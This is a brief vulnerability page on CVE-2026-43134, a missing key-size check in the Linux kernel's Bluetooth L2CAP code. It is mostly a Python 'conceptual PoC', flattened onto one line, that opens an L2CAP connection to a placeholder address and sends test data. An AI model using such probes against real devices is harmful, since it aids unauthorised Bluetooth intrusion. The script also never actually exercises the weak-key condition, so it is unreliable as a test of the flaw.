CVE-2026-43134 Linux内核蓝牙L2CAP密钥大小检查缺失漏洞

import bluetooth import sys # Conceptual PoC for CVE-2026-43134 # This script attempts to connect to a target via L2CAP. # Vulnerability: The kernel does not validate the encryption key size # upon receiving L2CAP_LE_CONN_REQ. target_addr = "XX:XX:XX:XX:XX:XX" # Target MAC address psm = 0x01 # Example PSM (Protocol Service Multiplexer) print(f"[*] Attempting L2CAP connection to {target_addr}...") try: # In a vulnerable kernel, this connection might succeed or be established # with a weak key size that should have been rejected. sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) sock.connect((target_addr, psm)) print("[+] Connection established. Check if weak key size was accepted.") # Send a test packet to verify data transmission sock.send(b"TEST_DATA") sock.close() except Exception as e: print(f"[-] Connection failed or error occurred: {e}")